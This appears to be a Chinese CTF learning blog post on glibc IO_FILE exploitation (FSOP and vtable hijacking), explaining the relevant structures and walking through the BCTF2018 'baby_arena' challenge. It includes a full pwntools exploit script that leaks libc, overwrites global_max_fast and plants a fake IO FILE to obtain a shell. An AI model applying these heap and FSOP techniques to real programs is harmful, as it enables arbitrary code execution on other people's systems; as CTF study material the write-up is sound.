一、基础知识 1、IO FILE的主要结构 在进入正题之前,我们需要对IO FILE有一定基本了解,之前我们知道的利用unsorted bin残留指针去爆破stdout就是修改了IO FILE里面的机构,让其能输出。一般的程序都会有stdout、stdrr、stdin这三个管理数据流的IO FILE
1.1 IO_FILE_plus 每一个_IO_FILE都会被包含在IO_FILE_plus中,大致结构如下:
1 2 3 4 5 6 struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable ; };
其中的vtable是一个_IO_jump_t 类型的指针,主要用于实现各种函数的跳转,在实现函数跳转的过程中是根据这个vtable指针+固定偏移 去找到对应的位置,并且执行相应的函数。因此我们不难想到可以在一个地址上写下我们的og或者system,然后伪造vtable指针,让其跳转到我们想要执行的函数,亦或者在原本的vtable区域去修改对应偏移位置的函数,从而达到一定劫持程序流的效果。
_IO_jump_t的定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct _IO_jump_t { JUMP_FIELD(size_t , __dummy); JUMP_FIELD(size_t , __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
1.2 FILE FILE是我们IO attack里面很重要的一个结构体,很多时候要构造好一个IO FILE,才能够顺顺利利的pwn,起码不会看wp都看不懂(
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
其中需要注意的是flag位置,这个位置要设计好才能进入我们想要进入的函数,最常见的就是修改成0xfbad1800(我们爆破stdout去leak libc时见过),还有一个就是0(这我没遇到过,但uuu师傅说好用,那它就是好用ouo),此外,若此IO FILE的指针fp被当作参数传进函数中,那么flag就和这个参数等价(个人理解,因为有将flag位改成/bin/sh然后传进system里getshell的操作)
其次是_chain,这是一个类似fastbin的fd指针,用于指向下一个IO FILE的。
1.3_IO_list_all 指针 这个指针位于libc段,记录着_IO_FILE_plus结构体的位置,就和fastbinY一样,自己脑补理解下(顺便再回忆下fastbin attack,这是下面fsop的一要点)
2、FSOP 2.1 相关函数 FSOP的要点就在于利用 _IO_flush_all_lockp 这个函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; struct _IO_FILE *fp ; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif #遍历 _IO_list_all for (fp = (_IO_FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif return result; }
这是_IO_flush_all_lockp的定义,从__IO_list_all指针开始,遍历完整个由chain域链接 起来单链表,如果通过了if的判断,就会进入 _IO_OVERFLOW中,刷新输出缓冲区。
至此,我们不难想到,可以劫持_IO_list_all或者某一个IO FILE的chain域,从而让程序遍历到我们精心伪造的堆块中,如果丧心病狂点,可以搞好多堆块来构造fake IO FILE,搞🌼活。
2.2 FSOP的要点 首先,我们需要一个_IO_flush_all_lockp函数,让程序自己把屁股敲起来我们好进去(x
有三种情况会调用_IO_flush_all_lockp
一、libc执行abort函数时
二、程序调用exit时,_exit不行是因为它是syscall,而我们需要exit函数去调用
_IO_flush_all_lockp函数
三、从main函数返回,程序自行调用exit,从而调用_IO_flush_all_lockp函数
总而言之就是exit!
然后我们要绕过检测进入到_IO_OVERFLOW中。只需要将fake IO FILE如下布局就好
1 2 fp->_mode <= 0 fp->_IO_write_ptr > fp->_IO_write_base
预计攻击效果:当我们执行了_IO_flush_all_lockp后,遍历IO FILE遍历到我们的fake IO FILE上,然后通过vtable表跳转到 _我们的IO_OVERFLOW(没错,它在vtable里面),而此时这个vtable肯定是我们玩坏了的那种,最后就跳转到og或者system,最后成功getshell。
2.3 局限 2.23版本之后,vtable表就添加了一个check, IO_validate_vtable 函数,用于检查vtable指针是否在glibc的vtable段中,如果不是则会进一步检查是否使用外部合法的vtable。所以2.23之后,我们再也不能随便的改vtable了
3、globe_max_fast以及fastbinY globe_max_fast是glibc定义的一个全局变量,用于记录fastbin最大的chunk大小,正常情况下大小为0x80。
根据之前所学习的fastbin attack我们可以知道fastbinY是一个单链表的头,记录了第一个进入该大小的fastbin的堆块地址。glibc寻找对应fastbinY的位置是根据第一个fastbinY的地址加上要释放进fastbin的chunk大小作为相应偏移去寻找。
二、例题:baby_arena_BCTF2018 1、程序分析 程序主要实现了三个功能,login,malloc和delete。
限制了申请堆块的大小
在login中,get_char(&v3,16)中存在溢出可以覆盖v4,因此我们有一次任意地址写admin或者clientele的机会
2、利用思路: 利用这个任意地址写admin或者clientele,我们可以将globe_max_fast改大,那么我们的大堆块在free后就会执行进入fastbin的流程,根据偏移去寻找相应的fastbinY并且将堆地址写到该地址。
如图,当我们的chunk大小合适,就会在fastbinsY一定偏移处写一个堆地址,联系上面的知识,我们不难想到是劫持IO_list或者是chain域,达到让程序遍历时会遍历fake IO FILE的效果。最后FSOP即可getshell
3、exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *p=process('./main' ) context.os = 'linux' context.log_level = 'debug' context.arch = 'amd64' def menu (choice ): p.sendlineafter("4.exit" ,str (choice)) def add (size,data ): menu(1 ) p.sendlineafter("Pls Input your note size" ,str (size)) p.sendlineafter("note" ,str (data)) def delete (id ): menu(2 ) p.sendlineafter("id:" ,str (id )) def login (ptr ): menu(3 ) p.sendafter("Please input your name" ,ptr) p.sendlineafter("admin" ,str (1 )) gdb.attach(p) add(0x418 ,'0' ) add(0x1400 ,'1' ) delete(0 ) add(0x418 ,'' ) p.recvuntil("your note is" ) libcbase=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' ))-0x3c4b78 print (hex (libcbase))og=libcbase+0x4527a globe_max=libcbase+0x3c67f8 -0x8 system=libcbase+0x453a0 pause() login(p64(og)+p64(globe_max)) pause() print (hex (system))print (hex (globe_max))delete(1 ) fake_IO = p64(0xfbad1800 ) + p64(0 )*3 fake_IO += p64(0 ) + p64(1 ) fake_IO = fake_IO.ljust(0xC0 ,'\0' ) fake_IO += p64(0xFFFFFFFFFFFFFFFF ) + p64(0 )*2 fake_IO += p64(0x6020B0 - 0x18 ) add(0x1400 ,fake_IO[0x10 :]) delete(1 ) gdb.attach(p) pause() p.recvuntil("4.exit" ) p.sendline('4' ) p.interactive()
4、tips 这里如果要用system传binsh的方式getshell的话,需要构造一下堆块的presize。因为我们伪造的fake IO FILE 是从它的presize位开始的
我们的flag位对应的是堆头的presize。
后记: 开始这个系列是打算记录一下IO的学习之路,正如标题,目前还是一个pwn弟弟,要努力成长。这个例题调通挺久的,最近忙着驾考,而且脑袋经常想东想西的,导致效率真的很低下。不要想太多,活好当下才是最重要的。